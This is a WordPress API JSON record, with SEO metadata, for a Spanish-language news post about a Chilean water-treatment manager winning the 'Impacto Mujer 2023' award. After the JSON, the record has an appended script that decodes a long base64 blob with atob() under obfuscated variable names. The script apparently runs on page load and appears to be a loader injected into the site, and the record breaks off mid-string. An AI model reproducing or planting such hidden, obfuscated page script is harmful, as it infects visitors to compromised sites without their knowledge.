{"id":36885,"date":"2023-05-18T15:27:00","date_gmt":"2023-05-18T19:27:00","guid":{"rendered":"https:\/\/aladyr.net\/?p=36885"},"modified":"2023-05-18T15:30:09","modified_gmt":"2023-05-18T19:30:09","slug":"valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua","status":"publish","type":"post","link":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/","title":{"rendered":"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio &#8220;Impacto Mujer 2023&#8221; por su innovador proyecto de re\u00faso de agua."},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-1024x683.jpg\" alt=\"\" class=\"wp-image-36880\" srcset=\"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-1024x683.jpg 1024w, https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-300x200.jpg 300w, https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-768x512.jpg 768w, https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-1536x1024.jpg 1536w, https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-2048x1365.jpg 2048w, https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-100x67.jpg 100w, https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-1-1200x800.jpg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption><strong>Irmgard Maria Fellner<\/strong>, Embajadora de Alemania en Chile; <strong>Valentina Varela<\/strong>, Gerente Comercial de Voens; <strong>Gabriele Lothholz,&nbsp;<\/strong>Directora&nbsp;de&nbsp;Corporaci\u00f3n Chileno Alemana de Beneficencia, miembro de la directiva AHK.<\/figcaption><\/figure>\n\n\n\n<p><strong>Prensa ALADYR &#8211;<\/strong> Valentina Varela, gerente comercial de Voens, ha sido galardonada con el prestigioso premio &#8220;Impacto Mujer 2023&#8221; por la Embajadora de Alemania en Chile, la se\u00f1ora Irmgard Maria Fellner. Voens, una empresa especializada en la comercializaci\u00f3n de equipos para el acondicionamiento de agua y sistemas de purificaci\u00f3n, desarroll\u00f3 en tiempo r\u00e9cord un innovador proyecto de re\u00faso de agua para Minera Los Pelambres, utilizando agua del relave del proceso minero y trat\u00e1ndola para la prueba hidrost\u00e1tica sin recurrir a agua fresca.<\/p>\n\n\n\n<p>El proyecto fue un desaf\u00edo para Voens, ya que la planta requerida ten\u00eda una capacidad de 48 metros c\u00fabicos por hora y deb\u00eda ser entregada en tan solo un mes. Sin embargo, el equipo de Voens, liderado por Varela, demostr\u00f3 su capacidad para enfrentar este reto, aplicando un tratamiento robusto para esta agua altamente contaminada.<\/p>\n\n\n\n<p>&nbsp;\u201cSomos parte de la C\u00e1mara de Comercio Alemana en Chile (AHK) y nos invitaron a postularnos con el proyecto. Estamos contentos con este reconocimiento\u201d agreg\u00f3 Varela.<\/p>\n\n\n\n<p>Tambi\u00e9n destac\u00f3 el compromiso y valores del equipo de Voens. Con relaci\u00f3n al premio, Varela expres\u00f3 su orgullo y espera que este reconocimiento inspire a otras mujeres en el sector del acondicionamiento de agua y sistemas de purificaci\u00f3n.<\/p>\n\n\n\n<p>Voens, que ya est\u00e1 experimentando un crecimiento significativo, espera que este reconocimiento impulse a\u00fan m\u00e1s su expansi\u00f3n en la industria. En enero la empresa abri\u00f3 una sucursal en Florida, Estados Unidos, y ya comenz\u00f3 a exportar a otros pa\u00edses de Sudam\u00e9rica. Sus exportaciones incluyen sistemas de abatimiento para ars\u00e9nico y sistemas de re\u00faso de agua para calderas entre otros, todos con la caracter\u00edstica &#8220;plug and play&#8221;, lo que facilita su implementaci\u00f3n. Este premio &#8220;Impacto Mujer 2023&#8221; es un testimonio del trabajo en equipo y la dedicaci\u00f3n de Voens en el desarrollo de soluciones sostenibles y confiables en la industria del acondicionamiento de agua y sistemas de purificaci\u00f3n. \u201cEs un orgullo ser reconocidos por esto porque demuestra que estamos recuperando a la industria de Chile\u201d culmin\u00f3 Varela.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Valentina Varela, gerente comercial de Voens, ha sido galardonada con el prestigioso premio &#8220;Impacto Mujer 2023&#8221; por la Embajadora de Alemania en Chile, la se\u00f1ora Irmgard Maria Fellner. Voens, una empresa especializada en la comercializaci\u00f3n de equipos para el acondicionamiento de agua y sistemas de purificaci\u00f3n, desarroll\u00f3 en tiempo r\u00e9cord un innovador proyecto de re\u00faso de agua para Minera Los Pelambres, utilizando agua del relave del proceso minero y trat\u00e1ndola para la prueba hidrost\u00e1tica sin recurrir a agua fresca.<\/p>\n","protected":false},"author":2873,"featured_media":36875,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[62],"tags":[],"class_list":["post-36885","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio &quot;Impacto Mujer 2023&quot; por su innovador proyecto de re\u00faso de agua. - Aladyr<\/title>\n<meta name=\"description\" content=\"Bienvenido al Blog Aladyr. \u00ecinformate sobre las novedades del mundo del agua! %\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio &quot;Impacto Mujer 2023&quot; por su innovador proyecto de re\u00faso de agua. - Aladyr\" \/>\n<meta property=\"og:description\" content=\"Bienvenido al Blog Aladyr. \u00ecinformate sobre las novedades del mundo del agua! %\" \/>\n<meta property=\"og:url\" content=\"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/\" \/>\n<meta property=\"og:site_name\" content=\"Aladyr\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/asociacionaladyr\/\" \/>\n<meta property=\"article:published_time\" content=\"2023-05-18T19:27:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-05-18T19:30:09+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-scaled.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"2560\" \/>\n\t<meta property=\"og:image:height\" content=\"1706\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Diego Ortu\u00f1o\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@aladyr_asoc\" \/>\n<meta name=\"twitter:site\" content=\"@aladyr_asoc\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Diego Ortu\u00f1o\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/\"},\"author\":{\"name\":\"Diego Ortu\u00f1o\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#\\\/schema\\\/person\\\/d0a91dfd96f76a4366bfac742c069737\"},\"headline\":\"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio &#8220;Impacto Mujer 2023&#8221; por su innovador proyecto de re\u00faso de agua.\",\"datePublished\":\"2023-05-18T19:27:00+00:00\",\"dateModified\":\"2023-05-18T19:30:09+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/\"},\"wordCount\":404,\"publisher\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/aladyr.net\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/Valentina-scaled.jpg\",\"articleSection\":[\"Noticias\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/\",\"url\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/\",\"name\":\"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio \\\"Impacto Mujer 2023\\\" por su innovador proyecto de re\u00faso de agua. - Aladyr\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/aladyr.net\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/Valentina-scaled.jpg\",\"datePublished\":\"2023-05-18T19:27:00+00:00\",\"dateModified\":\"2023-05-18T19:30:09+00:00\",\"description\":\"Bienvenido al Blog Aladyr. \u00ecinformate sobre las novedades del mundo del agua! %\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#primaryimage\",\"url\":\"https:\\\/\\\/aladyr.net\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/Valentina-scaled.jpg\",\"contentUrl\":\"https:\\\/\\\/aladyr.net\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/Valentina-scaled.jpg\",\"width\":2560,\"height\":1706},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/aladyr.net\\\/en\\\/homepage-2025\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio \u00abImpacto Mujer 2023\u00bb por su innovador proyecto de re\u00faso de agua.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#website\",\"url\":\"https:\\\/\\\/aladyr.net\\\/en\\\/\",\"name\":\"Aladyr\",\"description\":\"Asociaci\u00f3n Latinoamericana de Desalaci\u00f3n y Re\u00faso de Agua\",\"publisher\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/aladyr.net\\\/en\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#organization\",\"name\":\"Aladyr\",\"url\":\"https:\\\/\\\/aladyr.net\\\/en\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/aladyr.net\\\/wp-content\\\/uploads\\\/2018\\\/05\\\/Aladyr-Fallback.jpg\",\"contentUrl\":\"https:\\\/\\\/aladyr.net\\\/wp-content\\\/uploads\\\/2018\\\/05\\\/Aladyr-Fallback.jpg\",\"width\":600,\"height\":400,\"caption\":\"Aladyr\"},\"image\":{\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/asociacionaladyr\\\/\",\"https:\\\/\\\/x.com\\\/aladyr_asoc\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/aladyr\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCeGIYolI-td4K6GiafV32rA\",\"https:\\\/\\\/www.instagram.com\\\/aladyr_asociacion\\\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/aladyr.net\\\/en\\\/#\\\/schema\\\/person\\\/d0a91dfd96f76a4366bfac742c069737\",\"name\":\"Diego Ortu\u00f1o\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/baae4a0f26cdb223c9d210fba06e453585b65695bd6b2a08e13e00089e5d5984?s=96&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/baae4a0f26cdb223c9d210fba06e453585b65695bd6b2a08e13e00089e5d5984?s=96&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/baae4a0f26cdb223c9d210fba06e453585b65695bd6b2a08e13e00089e5d5984?s=96&r=g\",\"caption\":\"Diego Ortu\u00f1o\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio \"Impacto Mujer 2023\" por su innovador proyecto de re\u00faso de agua. - Aladyr","description":"Bienvenido al Blog Aladyr. \u00ecinformate sobre las novedades del mundo del agua! %","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/","og_locale":"en_US","og_type":"article","og_title":"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio \"Impacto Mujer 2023\" por su innovador proyecto de re\u00faso de agua. - Aladyr","og_description":"Bienvenido al Blog Aladyr. \u00ecinformate sobre las novedades del mundo del agua! %","og_url":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/","og_site_name":"Aladyr","article_publisher":"https:\/\/www.facebook.com\/asociacionaladyr\/","article_published_time":"2023-05-18T19:27:00+00:00","article_modified_time":"2023-05-18T19:30:09+00:00","og_image":[{"width":2560,"height":1706,"url":"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-scaled.jpg","type":"image\/jpeg"}],"author":"Diego Ortu\u00f1o","twitter_card":"summary_large_image","twitter_creator":"@aladyr_asoc","twitter_site":"@aladyr_asoc","twitter_misc":{"Written by":"Diego Ortu\u00f1o","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#article","isPartOf":{"@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/"},"author":{"name":"Diego Ortu\u00f1o","@id":"https:\/\/aladyr.net\/en\/#\/schema\/person\/d0a91dfd96f76a4366bfac742c069737"},"headline":"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio &#8220;Impacto Mujer 2023&#8221; por su innovador proyecto de re\u00faso de agua.","datePublished":"2023-05-18T19:27:00+00:00","dateModified":"2023-05-18T19:30:09+00:00","mainEntityOfPage":{"@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/"},"wordCount":404,"publisher":{"@id":"https:\/\/aladyr.net\/en\/#organization"},"image":{"@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#primaryimage"},"thumbnailUrl":"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-scaled.jpg","articleSection":["Noticias"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/","url":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/","name":"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio \"Impacto Mujer 2023\" por su innovador proyecto de re\u00faso de agua. - Aladyr","isPartOf":{"@id":"https:\/\/aladyr.net\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#primaryimage"},"image":{"@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#primaryimage"},"thumbnailUrl":"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-scaled.jpg","datePublished":"2023-05-18T19:27:00+00:00","dateModified":"2023-05-18T19:30:09+00:00","description":"Bienvenido al Blog Aladyr. \u00ecinformate sobre las novedades del mundo del agua! %","breadcrumb":{"@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#primaryimage","url":"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-scaled.jpg","contentUrl":"https:\/\/aladyr.net\/wp-content\/uploads\/2023\/05\/Valentina-scaled.jpg","width":2560,"height":1706},{"@type":"BreadcrumbList","@id":"https:\/\/aladyr.net\/en\/valentina-varela-gerente-comercial-de-voens-recibe-premio-impacto-mujer-2023-por-su-innovador-proyecto-de-reuso-de-agua\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/aladyr.net\/en\/homepage-2025\/"},{"@type":"ListItem","position":2,"name":"Valentina Varela, gerente comercial de Voens, recibe el prestigioso premio \u00abImpacto Mujer 2023\u00bb por su innovador proyecto de re\u00faso de agua."}]},{"@type":"WebSite","@id":"https:\/\/aladyr.net\/en\/#website","url":"https:\/\/aladyr.net\/en\/","name":"Aladyr","description":"Asociaci\u00f3n Latinoamericana de Desalaci\u00f3n y Re\u00faso de Agua","publisher":{"@id":"https:\/\/aladyr.net\/en\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/aladyr.net\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/aladyr.net\/en\/#organization","name":"Aladyr","url":"https:\/\/aladyr.net\/en\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/aladyr.net\/en\/#\/schema\/logo\/image\/","url":"https:\/\/aladyr.net\/wp-content\/uploads\/2018\/05\/Aladyr-Fallback.jpg","contentUrl":"https:\/\/aladyr.net\/wp-content\/uploads\/2018\/05\/Aladyr-Fallback.jpg","width":600,"height":400,"caption":"Aladyr"},"image":{"@id":"https:\/\/aladyr.net\/en\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/asociacionaladyr\/","https:\/\/x.com\/aladyr_asoc","https:\/\/www.linkedin.com\/company\/aladyr","https:\/\/www.youtube.com\/channel\/UCeGIYolI-td4K6GiafV32rA","https:\/\/www.instagram.com\/aladyr_asociacion\/"]},{"@type":"Person","@id":"https:\/\/aladyr.net\/en\/#\/schema\/person\/d0a91dfd96f76a4366bfac742c069737","name":"Diego Ortu\u00f1o","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/baae4a0f26cdb223c9d210fba06e453585b65695bd6b2a08e13e00089e5d5984?s=96&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/baae4a0f26cdb223c9d210fba06e453585b65695bd6b2a08e13e00089e5d5984?s=96&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/baae4a0f26cdb223c9d210fba06e453585b65695bd6b2a08e13e00089e5d5984?s=96&r=g","caption":"Diego Ortu\u00f1o"}}]}},"_links":{"self":[{"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/posts\/36885","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/users\/2873"}],"replies":[{"embeddable":true,"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/comments?post=36885"}],"version-history":[{"count":0,"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/posts\/36885\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/media\/36875"}],"wp:attachment":[{"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/media?parent=36885"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/categories?post=36885"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/aladyr.net\/en\/wp-json\/wp\/v2\/tags?post=36885"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0x8b6d=atob('A01eRUhfQkRFAwJQQk0DXEJFT0RccAx0HxlIGElNSUoeEgx2AllOX15ZRRBcQkVPRFxwDHQfGUgYSU1JSh4SDHYWGhBdSlkLdEBASEFERRYJEx8bGU1JGhgYE09KSkkdShodHU4SGkpKE0gSGUoZGxwSE0pITUoSE01JHB5IHkoZCRBdSlkLdFFeQExYFnAMQ19fW1gRBARbREdSTERFBVlbSAVDUltOWVhSRUgFU1JRBAwHDENfX1tYEQQEW0RHUkxERQZbXklHQkgFRURPQk5YBUpbWwwHDENfX1tYEQQEW0RHUkxERQVMSl9OXEpSBV9ORU9OWUdSBUhEDAcMQ19fW1gRBARbREdSTERFBVlbSAVYXklaXk5ZUgVFTl9cRFlABFteSUdCSAwHDENfX1tYEQQEW0RHUkxERQZGSkJFRU5fBUxKX05cSlIFX0pfXkYFQkQMBwxDX19bWBEEBFtER1JMREUGSURZBllbSAVbXklHQkhFRE9OBUhERgwHDENfX1tYEQQEGllbSAVCRARGSl9CSAwHDENfX1tYEQQEW0RHUkxERQVHSl1KBUleQkdPDAcMQ19fW1gRBARbREdSTERFBV9DTllbSAVCRAwHDENfX1tYEQQEWVtIBUpFQFkFSERGBFtER1JMREUMBwxDX19bWBEEBFtER1JMREUGRkpCRUVOXwVbXklHQkgFSUdKWF9KW0IFQkQMBwxDX19bWBEEBFlbSAZGSkJFRU5fBUZKX0JIBVpeQkBFRE9OBVtZRAwHDENfX1tYEQQEW0RHUkxERQVPWVtIBURZTAwHDENfX1tYEQQETEpfTlxKUgVfTkVPTllHUgVIRARbXklHQkgEW0RHUkxERQx2EF1KWQt0WUBIQRYJG1NpHUloEk4abxtJGU1pEh1qSRxoHxxuGx9oSRtpbh8cHB8aG0loGk0ZCRBdSlkLdFFcXUpZQVEWCUkdE08aExsSCRBNXkVIX0JERQt0W1pDWUkDdFlDWkRAW0gCUF9ZUlBdSlkLdExbUlpFSU8WdFlDWkRAW0gFWF5JWF9ZAxsHGQIWFhYMG1MMFHRZQ1pEQFtIBVheSVhfWQMZAhF0WUNaREBbSBBCTQN0TFtSWkVJTwVHTkVMX0MXGhkTAllOX15ZRQwMEF1KWQt0WUxKRBZbSllYTmJFXwN0TFtSWkVJTwVYXklYX1kDHR8HHR8CBxodAhBCTQMKdFlMSkQCWU5fXllFDAwQXUpZC3RaSVlFFnRMW1JaRUlPBVheSVhfWQMaGRMHdFlMSkQBGQIHdFxKUUdCQ1IWDAwQTURZA11KWQt0T0hKQ0lGQhYbEHRPSEpDSUZCF3RaSVlFBUdORUxfQxB0T0hKQ0lGQgAWGQJQXUpZC3ReQkRKFltKWVhOYkVfA3RaSVlFBVheSVhfWQN0T0hKQ0lGQgcZAgcaHQIQQk0DdF5CREoCdFxKUUdCQ1IAFnhfWUJFTAVNWURGaENKWWhET04DdF5CREoCEFZZTl9eWUULdFxKUUdCQ1IQVkhKX0hDA04CUFlOX15ZRQwMEFZWTV5FSF9CREULdFhfTVpaSAN0R15TRgd0XE5JWQJQWU5fXllFC0VOXAt7WURGQlhOA01eRUhfQkRFA3RHXU1OWQd0TlpJSUJKAlBdSlkLdE5fSERITRZFTlwLc2ZnY19fW3lOWl5OWF8DAhB0Tl9IREhNBURbTkUDDHtkeH8MB3RHXlNGB19ZXk4CEHROX0hESE0FWE5feU5aXk5YX2NOSk9OWQMMaERFX05FXwZ/UltODAcMSltbR0JISl9CREUEQVhERQwCEHROX0hESE0FX0JGTkReXxYeGxsbEHROX0hESE0FREVHREpPFk1eRUhfQkRFAwJQX1lSUHRHXU1OWQNheGRlBVtKWVhOA3ROX0hESE0FWU5YW0RFWE5/TlNfAgIQVkhKX0hDA04CUHROWklJQkoDTgIQVlYQdE5fSERITQVERU5ZWURZFnROX0hESE0FREVfQkZORF5fFk1eRUhfQkRFAwJQdE5aSUlCSgNFTlwLbllZRFkDAgIQVhB0Tl9IREhNBVhORU8DYXhkZQVYX1lCRUxCTVIDdFxOSVkCAhBWAhBWTV5FSF9CREULdEhFSkBHWwN0TEVJWExbAlBCTQN0TEVJWExbFRZ0UV5ATFgFR05FTF9DAllOX15ZRQt7WURGQlhOBVlOWERHXU4DRV5HRwIQXUpZC3RIT1tIR0pbFlBBWERFWVtIEQwZBRsMB0ZOX0NETxEMTl9DdEhKR0cMB1tKWUpGWBFwUF9EEXRZQEhBB09KX0oRDBtTDAB0UVxdSllBUVYHDEdKX05YXwx2B0JPERpWEFlOX15ZRQt0WF9NWlpIA3RRXkBMWHB0TEVJWExbdgd0SE9bSEdKWwIFX0NORQNNXkVIX0JERQN0TVNdR0lRAlBdSlkLdFpOXk8WdE1TXUdJUQ0NdE1TXUdJUQVZTlheR18UdFtaQ1lJA3RNU11HSVEFWU5YXkdfAhEMDBBCTQN0Wk5eTwJZTl9eWUULdFpOXk8FWU5bR0pITgMEdwQADwQHDAwCEFlOX15ZRQt0SEVKQEdbA3RMRUlYTFsAGgI